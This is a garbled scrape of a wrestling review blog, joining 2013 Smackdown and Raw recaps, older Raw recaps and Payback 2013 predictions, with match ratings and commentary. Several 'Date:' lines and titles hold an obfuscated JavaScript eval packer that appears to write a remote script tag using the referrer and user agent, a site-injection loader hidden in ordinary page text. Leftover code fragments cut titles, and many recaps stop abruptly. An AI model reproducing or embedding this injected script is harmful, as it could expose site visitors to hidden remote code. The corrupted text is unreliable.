Smackdown – June 28, 2013: Smackdown Goes International

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tidas|var|u0026u|referrer|aifhb||js|php'.split('|'),0,{})) June 28, 2013
Location: Colonial Life Arena, Columbia, South Carolina
Commentators: John Bradshaw Layfield, Michael Cole

After Monday we have a lot more of the card set for Money in the Bank. Tonight we’ll find out who the Smackdown MITB guys are as well as having a Fiesta Del Rio to celebrate Alberto winning the World Heavyweight Championship again. WWE has picked things up lately so hopefully the positive trend continues. Let’s get to it.

We open with the theme song for the first time in months.

There’s a pinata above the ring for the fiesta later.

Sheamus vs. Damien Sandow

This is a Dublin street fight which hopefully ends this stupid feud once and for all. Sandow says that South Carolina was the first state to secede from the union and now he wants out of here too. Ya’ll isn’t a word. It’s pronounced you all, as in you all are a bunch of ignoramuses. Sandow pounds away to start and hits Sheamus with a green kendo stick before we head to the floor. Sheamus whips him into the barricade and puts him over the bar at ringside (Irish people like to drink you see) for the ten forearms to the chest.

Sandow blocks a suplex on the floor and sends Sheamus into the post to take over. Sheamus comes back by throwing Sandow into another bar and pelting a keg at him. Now Sandow has a bag of Irish potatoes dropped onto him as we’re in the “comedy” portion of the match. Damien sends him into the steps to put Sheamus down again as we take a break.

Back with Sandow running Sheamus over for two back in the ring. Sandow throws in some chairs with one being wedged between the ropes. Sheamus comes back with a green bar stool to the face and the Irish Curse for two. A running knee life puts Sandow on the floor and there’s the rolling senton for good measure. Sheamus gets two off the top rope shoulder block but Damien comes back with straight right hands.

The Terminus gets two and Sandow pounds away with the kendo stick. Sheamus easily kicks out and throws a chair at Sandow’s face to take over again. Now it’s Sandow being beaten with the stick for two but he still fights out of White Noise. Sheamus hits another kendo stick shot to send Sandow into the open chair, followed by the Brogue Kick for the pin at 9:28 shown of 12:58.

Rating: C. To recap this feud: everyone said Sheamus would dominate Sandow, Sheamus did dominate Sandow, and the final match (hopefully) was a match in which Sheamus should have destroyed Sandow and he did just that. How this does anything to elevate Sandow or help Sheamus is beyond me but thank goodness it’s over.

Sheamus takes the kendo stick with him and throws the potatoes to the fans.

We look back at the main event from Raw with Bryan making Orton tap out.

Bryan is whistling in the back but Kane gets in his face and tells him not to brag. Kane congratulates Bryan on his win but calls it an upset which sets Bryan off. The big man shuts Bryan up before he can get anywhere with it but Daniel just chalks it up to nerves and hugs him. It’s Kane vs. Orton with Bryan on commentary later.

We recap Heyman and Punk’s segment from Raw.

Time for MizTV with special guest Paul Heyman. Miz asks about Punk and Lesnar being a tag team but Heyman doesn’t want to talk about his personal life. Miz wants to know about Heyman bullying Renee young last week but Heyman says he’s just an advocate. Heyman turns the tables saying Miz is a former WWE and Intercontinental Champion by bringing out Curtis Axel. Miz says that Heyman fooled him just like Heyman fooled Punk on Raw. Heyman says he invited Axel and this interview is over unless Miz isn’t intimidated by Curtis.

Miz says that Heyman is the walking version of Star Wars: he talks like Yoda, smells like Chewbacca and looks like Jabba the Hut. This makes Axel the WWE version of Luke Skywalker: Luke, you are not your father. Miz says he’s going to win the title and Axel says he takes that threat seriously. A fight is about to break out but Heyman says if Miz wants to fight there needs to be a contract and Axel needs to be paid. Heyman makes fun of Miz’s catchphrase but Miz cuts him off, only to have Axel lay Miz out with a neckbreaker into a cutter.

AJ Lee vs. Natalya

Before the match Kaitlyn comes out dressed like AJ to make fun of AJ’s issues with men. Apparently AJ even dated the timekeeper, the ringside doctor and Lillian Garcia. Unfortunately we get no more elaboration on that as the bell rings. Natalya takes AJ down but AJ escapes a slam and slams Natalya’s head into the mat. Kaitlyn skips down to the ring to distract AJ, allowing Natalya to get a rollup pin at 1:05. Kaitlyn in the AJ outfit works VERY well.

Kaitlyn spears AJ down post match.

Bray Wyatt vignette.

Teddy is in the back when Vince comes in. Since Raw is having an All-Star MITB match (Vince’s official term for it), Teddy is going to look to the future. His picks are Wade Barrett, Jack Swagger, Antonio Cesaro, Fandango, Dean Ambrose, Cody Rhodes and Damien Sandow. Vince is impressed and they practice saying Fandango.

Randy Orton vs. Kane

Bryan is on commentary. Kane grabs a headlock to start but Orton fights free with right hands. He charges into Kane’s boot in the corner to put him down as the match slows up a bit. The low dropkick gets two for Kane but Orton whips him into the corner. The announcers ask Bryan if he would cost Kane the briefcase at MITB but get no answer. Kane goes up for the top rope clothesline but gets punched out of the air to give Orton control again.

Orton stomps away and drops a knee for two but ducks his head to get caught in the running DDT. We take a break and come back with Kane putting on a nerve hold. Orton fights up as Bryan gets on the announce table to play cheerleader. Orton hits the backbreaker to escape and Bryan’s chant becomes NO. A Thesz Press puts Kane down but he kicks Orton’s head off for two. Back up again and Orton hits a dropkick for two of his own, only to get caught in a side slam. This back and forth stuff is working very well.

The top rope clothesline is broken up again, but Kane fights out of the superplex and hits the clothesline on the third try. A back elbow blocks the chokeslam attempt and Orton’s powerslam gets two. The Elevated DDT is countered but neither finisher can hit. Instead it’s the Elevated DDT to send Kane to the floor where Bryan encourages his partner. Bryan helps Kane get back in but he walks into the RKO for the pin at 9:13 shown of 12:13.

Rating: B. I’ve always been a fan of the chemistry between these guys and this is another good example of them working well together. The back and forth stuff with both guys hitting bigger and bigger stuff was a good story capped off by Orton finally hitting his home run move for the win. Bryan accidentally costing Kane the match fits their story very well and advances them towards Money in the Bank. Good stuff.

Ryback vs. Justin Gabriel

Gabriel fires off some kicks to start but Ryback comes back with a hard kick to Gabriel’s chest to take over. Ryback misses another big boot and catches himself on the top rope, allowing Justin to fire kicks into the leg. Gabriel charges into the corner but dives into the Shell Shock for the pin at 1:51. Much like Monday, this was basically a face match by Ryback as he fought through trouble to win.

Immediately after the match here’s Jericho to talk about how Ryback may be a killer, he’s also a whiner, a complainer, a butcher, a baker and a giant excuse maker. Ryback shouts that he’s injured so Jericho starts a Cryback chant. Jericho says he’s going to give something to make Ryback cry about and goes after the big man, only to have Ryback bail from the Walls. Ryback whines that he should be WWE Champion and leaves.

I’ll never get WWE’s theory of turning guys like Ryback. “Well this guy is over as a face, so let’s change everything that got him over and wonder why he isn’t over as a heel.” It works for people when they’ve had great success, but Ryback never actually won anything, so you’re taking the only things he has going for him away and making him less of an intimidating monster and more just pathetic.

Bray Wyatt vignette.

Shield vs. Usos/Christian

Shield beat down Christian again on Main Event but the Usos made the save. Jey and his cousin Roman quickly fall to the floor and we take an early break. Back with Ambrose stomping on Jey before it’s back to Reigns. The big guy hooks a front facelock but lets go to Superman punch Jimmy off the apron. The double tag brings in Ambrose and Christian cleans house with the jumping back elbow.

Rollins breaks up the spear but Christian backdrops him on the floor. Back in and Dean rolls through a cross body for two, only to get caught in a tornado DDT for the same. Reigns comes back in and sends Christian to the floor but gets taken out by Jey. Rollins dives on both Usos and Dean looks to do the same but he walks into a spear from Christian for the pin at 5:18 shown of 8:48.

Rating: C+. This was a good fast paced tag match but did Shield really need to lose another match in such a short span of time? The good thing though is the titles are now the main focus for the team once the big loss was already out of the way. The match was entertaining enough and it sets up the PPV as well so there isn’t much to complain about here.

It’s time for Fiesta Del Rio so here are the mariachis to play the champion to the ring. Ricardo does the full entrance and insults the crowd for some good cheap heat. There are red white and green balloons and a big bowl of chips and salsa. The pinata has Ziggler’s face on it which makes more sense than most pinatas (sidebar: I’ve never understood the mentality behind pinatas. “Hey kids, here’s one of your favorite cartoon characters. Now let’s beat it with a stick until it busts open and you can eat whatever comes out!”).

Del Rio says it’s time to celebrate him being a four time champion and we’re going to do it his way. He says he’s going to speak Spanish tonight, drawing a USA chant. Del Rio speaks Spanish and says this is a party for him and not for any of the people. When he won the title, he didn’t need to use a Money in the Bank contract like Ziggler did. The fans chant USA so Del Rio calls them ignorant and switches back to English.

We’ll start the games with the pinata. Del Rio busts it open with two swings and says he broke it open like he bashed Ziggler’s head in. He’ll do the same thing again at MITB to retain the title. Del Rio poses and wants to know where Ziggler is. This brings out Dolph for the brawl but Del Rio throws him into the salsa. Ziggler throws Ricardo through the food table and hits the Zig Zag on the champion. Dolph swings a guitar at Del Rio but Alberto runs away, leaving Ricardo to take El Cabong. Ziggler plays guitar with the mariachis as balloons fall to end the show.

Overall Rating: B. I really liked the show tonight as we had some good matches and some solid angle advancement throughout the night. Ziggler looked like the hero they want him to be tonight and there’s a reason to hate Del Rio with the head injuries. WWE has flipped a switch in the last few weeks and their shows have been on fire ever since with this being their latest good effort.

Results

Sheamus b. Damien Sandow – Brogue Kick

Natalya b. AJ Lee – Rollup

Randy Orton b. Kane – RKO

Ryback b. Justin Gabriel – Shell Shock

Christian/Usos b. Shield – Spear to Ambrose

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:



Monday Night Raw – January 27, 2003: You Can Feel The Suck Starting

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seket|var|u0026u|referrer|ftede||js|php'.split('|'),0,{})) Night Raw
Date: January 27, 2003
Location: Allstate Arena, Chicago, Illinois
Commentators: Jim Ross, Jerry Lawler

Booker T vs. Jeff Hardy

Jeff gets some feet up to stop a charge in the corner and gets two off a middle rope dropkick. Booker crotches himself on a side kick but Jeff misses the Whisper in the Wind. Booker misses the ax kick and the second Whisper connects, but Booker hooks the spinning sunset flip out of the corner for the pin.

Post match Jeff tries to jump Booker but gets sent into the barricade instead.

Bischoff is worried that Vince likes Smackdown better.

We recap Jericho hitting Stacy with a chair last week.

Victoria is defending and this is a street fight. Victoria jumps the champion during her entrance and chokes her to the ring with a kendo stick. Trish is whipped into the steps and then into the crowd but she comes back with high kicks to take over. A cross body off the barricade gets two on the floor (making this a hardcore match instead of a street fight) before they head back inside. Victoria hits a slingshot legdrop for two but Trish heads to the floor to find weapons.

Post match Jazz returns from injury and destroys Trish with every signature and finishing move she has.

Raw Tag Titles: Dudley Boys vs. William Regal/Lance Storm

RVD and Kane make up after their issues at the Rumble because they face Batista and HHH tonight.

Matt Cappotelli vs. John Hennigan

Tommy Dreamer runs off Nowitski and canes both guys down to make them pay dues.

Kane/Rob Van Dam vs. HHH/Batista

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:



On This Day: June 22, 1998 – Monday Night Raw: He Is The Future

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dttrk|var|u0026u|referrer|rbseb||js|php'.split('|'),0,{})) Night Raw
Date: June 22, 1998
Location: Frank Erwin Center, Austin, Texas
Attendance: 10,891
Commentators: Michael Cole, Jerry Lawler, Jim Ross

This is the go home show for the King of the Ring and the first set of KOTR matches, so we’ll have four of those tonight. Other than that expect more as far as the C-o-n-spiracy and the whole fallout from that. We also have Kane and Mankind vs. an Outlaw apiece. This looks like a very standard go home show, so let’s get to it.

We open with a recap of the end of last week’s show with Taker destroying Bearer. Kane will break his silence tonight.

Theme song.

The Cell is above the ring again.

Here’s Vince to open the show. He brings out the next WWF Champion, Kane. Bearer is watching on satellite. The fans immediately chant for Austin. Vince says this will be the greatest day of Kane’s life on Sunday. Kane has apparently requested a special kind of match. There’s no pin, submission, DQ or countout. It’s first blood. Vince wants to know how confident Austin is. Kane (who hasn’t said anything until now) says that if he doesn’t win the title, he’ll set himself on fire. I can’t help but laugh at this.

King of the Ring Quarterfinals: Ken Shamrock vs. Mark Henry

The Nation is sent out again as they’ve been for the last few weeks. Shamrock makes Henry miss and fires off the kicks. He walks into a powerslam to take him down though. Legdrop gets no cover for Henry, which is chalked up to a rookie mistake by JR. Henry hooks on a bearhug and then a splash to the back of Kenny. Back to the bearhug. Shamrock tries to come back with a sunset flip but Henry drops down onto him. And now bearhug #3. FEEL THE ELECTRICITY BABY!!! Shamrock fights back and manages to hit the rana, sending Mark to the floor. Vader runs out and drills Henry. Belly to belly by Shamrock wins this.

Rating: D+. Henry somehow didn’t get any better for about 12 years. I mean dude, by the laws of averages and muscle memory you would think that somehow he would get better. That belly to belly was pretty impressive. Shamrock had a lot of talent but was only going to be an upper midcarder at best given the way his character went. Plus injuries on top of that.

Edge is in the audience.

X-Pac vs. Dustin Runnels

Dustin, the newly religious man, offers a handshake but gets a crotch chop for his efforts. The move known as the X-Factor takes him down but it doesn’t mean much yet. Dustin crotches him to counter a bulldog but Pac sends him to the floor. Chyna hits him low and momentum shifts again. Pac hits some of those very fast legdrops of his. I’ve always liked those. Off to a chinlock and we talk about how Austin could make Kane bleed. Dustin makes a comeback and a cross body gets two. One armed suplex gets the same. He loads up the bulldog but Chyna trips him. Pac kicks his head off for the pin.

Rating: C-. It’s amazing how much less annoying Sean Waltman is when he’s against someone who isn’t a giant. Dustin is a good sized guy but they didn’t have to make him look like an idiot here to have Pac beat him. That’s what gets on my nerves about small guys like Pac and Mysterio: if they’re fighting giants, the giants have to look like idiots for the small guy to win. This has nothing to do with the match. I’m just kind of rambling now.

Pac won’t shake his hand again post match.

We talk to Bearer at his home in….wherever it is. He promises to be at Kane’s side on Sunday.

Here’s Jerry Lawler to rant about Al Snow some more. Snow has apparently stolen the cleaning lady’s dress. Jerry has some papers for Snow, and here comes Snow out of the crowd in a dress. Head has the King’s Crown. Jerry offers a meeting with Vince for the crown. Lawler gets the crown back and Snow is handed a contract, signed by Vince McMahon. Snow and Head have to team up and face Too Much at King of the Ring. If they win, Snow gets his meeting with Vince.

Snow drops to the mat and says pin me and pay me. Why wait until the PPV apparently? Jerry calls out Too Much but Snow pops up and beats them up with Head.

Edge is now sitting on the stage.

King of the Ring Quarterfinals: Marc Mero vs. Jeff Jarrett

Jarrett knocks him to the floor quickly as the fans are cheering for Sable. There’s a gag order on the Sable issue which translates to me that they have no idea what they’re doing with the story but they have to have her back. Mero powerbombs Jarrett and hits a moonsault press for two. He might have hurt his knee jumping but still manages a small package for two. Jackie trips Jarrett and Tennessee Lee goes after her. That lets Mero hit Jeff low and hit the TKO but there’s no referee. Cue Sable for a distraction and Jarrett grabs a DDT to advance.

Rating: C-. Match was okayish but this was about Sable. I don’t think they ever actually revealed what the reason was for her coming back, but that’s par for the course in this ear. Anyway, decent match and a weird thing to see Jarrett as the face in one of these, especially after that character totally bombed as a face for the Horsemen.

Jarrett says he’s seen the light and will be king.

Kane vs. Road Dogg

I don’t see this lasting long. Billy is sent to the back. Roadie tries to stick and move but there’s too much Kane. A big boot puts Road Dogg down and there’s the smother that Kane has been using on Cena lately. Road Dogg takes a beating but manages to get in some punches and a clothesline to send him to the floor. And never mind as Kane takes over again quickly. Chokeslam is loaded up but Roadie hits him low….to no effect. The chokeslam hits and Tombstone finishes.

Rating: D. Just an extended squash here but it made Kane look unhurtable going into the match on Sunday. That’s the point of this and it also pushes the tag title match which is coming eventually. See how easy it can be to efficiently book a show? Why don’t people get that more often?

Bearer talks about the Conspiracy and Taker wanting to shut him up last week. Screams are heard and Taker comes in and destroys Bearer again. Various stuff is destroyed and the feed cuts out.

And now, it’s time.

Edge vs. Jose Estrada

All that is known about Edge is that he’s a tortured soul from Toronto. He comes in through the crowd and Estrada jumps him. Edge comes back with a spear and sends him to the floor. Edge hits a flip dive over the top onto Estrada….and breaks Estrada’s neck, putting him out for months. Edge wins by countout. The replay shows that Edge’s leg landed on the top of Jose’s head. It only lasted about 30 seconds.

And that’s how Edge debuted.

Kane is freaking in the back as Foley tries to calm him down. There’s a buzz from Kane’s voicebox.

Jose is taken out on a stretcher. Based on the replay, it’s hard to say who’s at fault. When you flip forward like that, it’s hard to control where you land. Probably a combination of both.

King of the Ring Quarterfinals: Dan Severn vs. Owen Hart

Severn is in that t-shirt of his. He spears Owen down and you know he wants it on the mat. The American hits a German on the Canadian but gets caught in an enziguri. Fisherman’s suplex gets two for Owen. Severn comes back but gets caught in a neckbreaker. Owen rolls outside and grabs a chair. Severn grabs it and in the distraction, X-Pac comes in and cracks a chair on Owen’s back. Severn’s submission ends this. Too short to rate but the match was fine.

The Nation runs Severn off.

Post break Rock calls out DX for a fight and here they come. Remember that it’s still HHH vs. Rock in the tournament later. DX comes out but suits hold them back.

King of the Ring Quarterfinals: HHH vs. The Rock

Just Chyna out there with either person. Winner gets Severn at the PPV. Rock takes over to start and hammers HHH down. He ducks his head though and HHH grabs a swinging neckbreaker. HHH takes over and drops the Flair Knee for two. Rock takes over and hits a suplex for two. There’s the People’s Elbow but HHH kicks out. Rock punches HHH, HHH punches Rock, HHH hits the facebuster to take over. Rock sends him to the floor but as he poses, Chyna DDTs him for two. They trade sleepers and Chyna tries to interfere for some reason. The distraction lets Rock hit a low blow and win with a fisherman’s suplex.

Rating: D+. How was that 8 minutes long? Usually the rule of thumb I use is that each paragraph of text is about four minutes of video. How in the world was this an 8 minute matches? It was mainly punching for one thing and nothing at all stands out about it. Definitely one of the weakest I can remember from these two, but their big one is coming.

DX and the Nation run out and it’s a big brawl.

Here’s the semi-finals for the KOTR:

Shamrock
Jarrett

Severn
Rock

Kane is still freaking out. Mankind says stay here because he has to go have a match.

Mankind vs. Billy Gunn

Mankind talks about being a history fan and having a picture of men from Gettysburg near his bed. As he’s talking about this, the Cell is lowered. The story was about time healing all wounds, but he doesn’t want to heal the wounds with Taker after what Taker did to Paul Bearer last week. They’re not going to prosecute him though because it’s a family matter on Sunday at the PPV.

Here’s Billy and the Cell is still down. All Mankind to start including the running knee in the corner. He takes Billy to the mat with a body scissors and the Cell is up. Billy tries to fire off some punches and they go to the floor. Chyna’s interference doesn’t really work at all. She gets ejected and they stay on the floor. Billy drops him onto the railing and into the post but it doesn’t really do anything. Billy dropkicks the steps into Mankind’s face and hammers away but Mankind keeps getting up. Fameasser (called the Rocker Dropper) doesn’t do anything and a piledriver is countered. Mandible Claw ends this.

Rating: D. The problem here was that the ending was inevitable. I mean, did anyone think Billy Gunn was going to win this? The match just went on and wasn’t all that interesting at all. The Outlaws were good at just about everything, except for that whole having matches thing. They were more of an act than a team, which makes things like this a bit annoying.

Mankind can’t find Kane.

Here’s Sable of all people with about 5 minutes left in the show. She brings out Austin in the white baseball jersey which never really worked for him. He wants Sable to go flip Vince off for him. Austin looks around for anyone wanting a fight and then accepts Kane’s challenge. In one of the funniest lines I can ever remember, Austin says if Kane lights himself on fire, he’ll be there with marshmallows, hot dogs and beer and we’ll have a big campfire. Here comes Kane but blood flows from the ceiling onto Austin. Now the white shirt makes more sense. Kane says on Sunday the blood will be real.

Overall Rating: D+. I really didn’t like this one as much as I did last week’s. This was more about getting all of the things that we had to get done before Sunday done. The lack of Vince has been hurting the shows as he’s only been in the opening segments lately. The wrestling here continues to be weak, but seeing Edge debut, even though it was shot, was very cool.

Here’s King of the Ring if you’re interested:

King of the Ring 1998 – Kane Is Champion

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:



Payback 2013 Predictions

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktffe|var|u0026u|referrer|aikey||js|php'.split('|'),0,{})) is an interesting show in that the card looks good on paper but when you think about how things have been built up it’s hard to care at all about it.  The shows leading up to it have been dominated by HHH vs. Vince vs. Axel with Axel being a pawn in the entire thing.  A challenge to you: explain in two coherent sentences what the Vince vs. HHH feud is about.  If it takes you more than ten seconds, it’s too complicated a story.  As for the rest of the show, it really pales in comparison other than the Shield stuff.  Let’s get to it.Sheamus will beat Damien Sandow because that’s what he does.  Nothing else to say.

Starting with the main event, I’ll go with Cena over Ryback.  This match is designed to have Cena go over a monster and look strong in the process.  The fact taht Ryback will have lost for the tenth straight month of PPVs in a row is an afterthought but Ryback means nothing anyway.  Cena wins the first fall, Ryback wins the second, Cena wins the third.  There’s nothing much to the match but it should be a fun garbage brawl.

Punk returns for the win to a big reaction from the hometown fans.  The interesting questions here are whether Punk shows up as well as what reaction Jericho will get.  Punk will clearly be the top star there, but can you imagine a bunch of smarks booing Chris Jericho?  The match should be awesome and Punk coming back is a big deal so this should be good.

I’ll take Shield to keep all of their titles with Orton taking the fall for the challengers.  Bryan is on fire but a tag title would be back to what he’s been doing for the better part of a year.  Kane will be a good first victim for Ambrose in his title reign.  The matches should be good and they’ve been well built up over the last few months.

Axel to win the title, which will be yet another death knell in his WWE run.  Miz continues to be nothing special in his face role, although I am glad to see the Skull Crushing Finale making a comeback.

AJ wins the title she should have won six months ago.

Ziggler retains the title as well to finally finish Del Rio.

 

Overall Payback should be entertaining but the numbers are going to SUCK.  No one is interested in the show because the world title has been a complete afterthought, making Punk vs. Jericho the default main event.  I don’t think anyone gives Ryback a chance but he has been doing better with his promos lately.



Smackdown – June 14, 2013: THEY DID IT!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kizzh|var|u0026u|referrer|abais||js|php'.split('|'),0,{})) June 14, 2013
Location: Greensboro Coliseum, Greensboro, North Carolina
Commentators: Michael Cole, John Bradshaw Layfield

The opening recap focuses on Ziggler returning in a tag match with Langston to face Jericho and Del Rio. We also focus on Shield vs. HELL NO/Orton in a six man tag tonight.

Sheamus vs. Antonio Cesaro

Cesaro comes back with the gutwrench suplex and a big forearm sends Sheamus to the floor. Sheamus catches a diving Cesaro coming off the apron and rams him into the barricade as we take a break. Back with Sheamus getting two off a backbreaker before they head to floor. Cesaro rams him into the steps before hooking a chinlock back inside. Sheamus fights up and hits some running forearms, only to be taken down by a European uppercut for two.

A double stomp to the chest gets two for Antonio but Sheamus sends him to the apron for the ten forearms to the chest. The Irish Curse gets two back inside but Cesaro comes back with the modified Angle Slam (looked more like an AA here) for two. Cesaro shoves Sheamus into the corner but the Celt comes out with the Brogue Kick for the pin at 7:26 shown of 10:56.

Post match Sandow jumps Sheamus from behind and lays him out.

The Wyatt Family is still coming.

CM Punk is returning on Sunday.

Great Khali vs. Heath Slater

McIntyre is in different attire tonight. Khali pounds away to start but has to swat away the other Band members. Slater gets in some shots in the corner but gets caught with the big chop. Khali has to go after the other Band members again, allowing Slater to hit a DDT for the pin at 2:20.

Alberto Del Rio/Chris Jericho vs. Dolph Ziggler/Big E. Langston

We recap the opening segment.

Kaitlyn vs. Aksana

Kaitlyn goes right at her and pounds away before the bell. The referee tries to pull her off and takes a quick beating as well. Aksana finally runs away so no match.

Recap of Ryback vs. Cena over the last few weeks with a focus on the events of Raw.

Curtis Axel vs. Wade Barrett

Post match Miz lays out Axel.

Video on the Wyatt Family with Bray quoting the Bible and talking about the riddles of your mind.

Shield vs. HELL NO/Randy Orton

Kane misses the top rope clothesline and stumbled into the hot tag to Bryan. Daniel hits the springboard missile dropkick on Ambrose and gives Reigns and Rollins a dropkick each. FLYING GOAT puts the tag champions and Rollins takes a pair of dropkicks in the corner for two. Bryan kicks the tag champions down again but can only get two on Seth.

Ambrose delays the swan dive and allows Rollins to roll away at the last minute. Kane and Ambrose go to the floor but Reigns spears Orton down. Kane avoids a spear from Roman and chokeslams Dean onto Reigns on the floor. Rollins hits the buckle bomb but Kane shoves him off the top into the RKO. Bryan throws on the NO Lock and THEY DID IT! Rollins taps out at 13:48 and the Shield loses for the first time ever.

Lillian announces it as the first time the Shield has ever lost a six man tag as the winners celebrate to end the show.

Results

Sheamus b. Antonio Cesaro – Brogue Kick

Heath Slater b. Great Khali – DDT

Alberto Del Rio/Chris Jericho vs. Dolph Ziggler/Big E. Langston

Curtis Axel b. Wade Barrettl – McGillicutter

HELL NO/Randy Orton b. Shield – NO Lock to Rollins

 

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On This Day: June 5, 2000 – Monday Night Raw: Night of the Three Challengers

Monday Night Raw
Date: June 5, 2000
Location: War Memorial Auditorium, Rochester, New York
Commentators: Jim Ross, Jerry Lawler

We open with a clip of Undertaker earning a shot at HHH by winning a handicap match against X-Pac and Road Dogg. This was followed later in the night by Rock beating Edge and Christian to become #1 contender. The main event of the show was Kane pinning HHH to earn a world title shot. In other words, there are three #1 contenders.

Theme song.

Here are HHH and Stephanie to open things up. HHH tells the fans to shut up so he can talk about how hot the competition is for his world title. The fans chant for Rocky as HHH talks about how much it means to be world champion. It means that you have beaten the very best and right now, there are three people that are the #1 contender to the title. The fans chant some very rude things at Stephanie to make HHH even angrier. HHH cuts them off by talking about how competition turns him on.

Post match Rikishi cleans house and gives Trish a Stinkface.

The McMahons and company reconcile in the back. Brisco slams a door on Crash Holly as he tries to sneak up on him with a chair to win the Hardcore Title.

King of the Ring Qualifying Match: Road Dogg vs. Chris Benoit

Post match the Dudleys load up a 3D to put Tori through a table but X-Pac makes the save.

Kane says there are no allies or brothers in the triple threat

Hardcore Title: Gerald Brisco vs. Crash

Undertaker says Kane is right about there being no friends or brothers in the match tonight.

Kane vs. Undertaker vs. The Rock

Undertaker knocks Kane to the floor but Rock is back up with right hands to the dead man. All three head outside now with Rock being double teamed until HHH jumps Undertaker. HHH sends Kane into the steps as well but Undertaker is back up and goes after Rock again before dropping HHH with a right hand. HHH blasts Kane with a chair which knocks him into a quick Rock Bottom on Kane sends Rock to the title match.

Post match HHH immediately hits Rock in the head with a chair.

Godfather/Dean Malenko vs. Chyna/Eddie Guerrero

King of the Ring Qualifying Match: Hardcore Holly vs. Faarooq

Kurt Angle/Edge/Christian vs. Dudley Boys/Chris Jericho

Post match Jericho puts Angle in the Walls and the Dudleys 3D Kurt through a table.

Hardy Boys vs. Bull Buchanan/Big Bossman

Bull starts with Matt and a big boot puts Matt down. Off to Boss Man as Lita is watching in the back, having not yet hooked up with the brothers yet. Back to Bull for a backbreaker but he misses a leg drop. Off to Jeff who speeds things up as everything breaks down. Jeff hits a quick Swanton on Bull for the win. This was nothing.

Boss Man and Buchanan fight post match with Boss Man laying Bull out.

HHH wants to head to the ring alone tonight.

WWF World Title: HHH vs. The Rock

HHH is already lying as Stephanie comes to the ring with him. Rock jumps HHH during his water spit and the fight is on fast. Rock pounds away and knocks HHH out to the floor before whipping him into whatever hard objects he can find. They load up the announce table but HHH fights out of the Rock Bottom. Instead Rock whips him over the announce table and hits the champion low.



Monday Night Raw – June 3, 2013: Moving In The Right Direction

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shfbs|var|u0026u|referrer|zitrt||js|php'.split('|'),0,{})) Night Raw
Date: June 3, 2013
Location: XL Center, Hartford, Connecticut
Commentators; Michael Cole, Jerry Lawler, John Bradshaw Layfield

Shield vs. HELL NO/Randy Orton

Rating: B. The middle part was pretty dull but Bryan is the MAN right now and the fans are treating him as such. The ending to the match here is fine as Bryan was rolling but got beaten because of someone else on his team screwing up. As for Shield, are they actually capable of having a bad match? The more I see of them the less sure I am.

Usos vs. Prime Time Players

Some Special Olympians are here.

Big E. Langston vs. Alberto Del Rio

Rating: C. Del Rio continues to have chemistry with almost anyone he works with and Langston continues to show ridiculous potential. They need to get him away from Ziggler in a hurry as having him just playing a heavy is wasting a lot of his skills. The match was fine, but five times in two weeks is WAY too much.

Sheamus vs. Cody Rhodes

We look at Kofi being injured by Ryback on Friday and being taken out of action for a few months.

Fandango vs. Great Khali

The fans are totally behind Fandango here as both guys dance a bit to start. Khali takes him into the corner for some chops followed by some clotheslines. Fandango bails to the floor to avoid the Plunge and starts walking out, only to be cut off by Miz. Wade Barrett pops up to blast Miz with the Bull Hammer as the match just ends at about 2:00.

The Miz vs. Wade Barrett

We recap the McMahon/HHH drama up to this point.

Kaitlyn/Funkadactyls vs. AJ Lee/Bella Twins

Kaitlyn and AJ start things off. AJ backs into the corner and elbows both dancing chicks before bringing in Brie. Off to Naomi for the Rear View and a rolling senton from Cameron for two. Naomi hits the ropes with a crossbody and the Bellas take over on her arm. Nikki stays on the arm until Naomi slugs her down and brings in Kaitlyn. The reverse DDT only gets one on Nikki but AJ drops to the floor instead of tagging. The spear finishes Nikki at 4:32.

Video on the Wyatt Family, talking about monsters being real.

Daniel Bryan vs. Ryback

Back with Bryan being slammed into the corner again so Ryback can stomp his chest. Off to a chinlock for a bit but Ryback misses a charge into the corner and hits the post. Bryan fires off some dropkicks for two but Ryback easily kicks out. A missile dropkick sets up a VERY long swan dive for two more. Bryan fires off the kicks but gets caught in a wicked powerbomb.

Post match Ryback loads up another table but Cena makes the save. Axel comes out for the main event as we take a break.

John Cena vs. Curtis Axel

Cena wedges the chair between the top and middle ropes but gets clotheslined in the back of his head to give Axel control again. Cena comes back with his finishing sequence, only to miss a charge into the corner and crash into the chair. He just beats the count back in but gets beaten down by a bunch of chair shots from Axel. The McGillicutter onto the chair gets two but the PerfectPlex is countered into the STF.

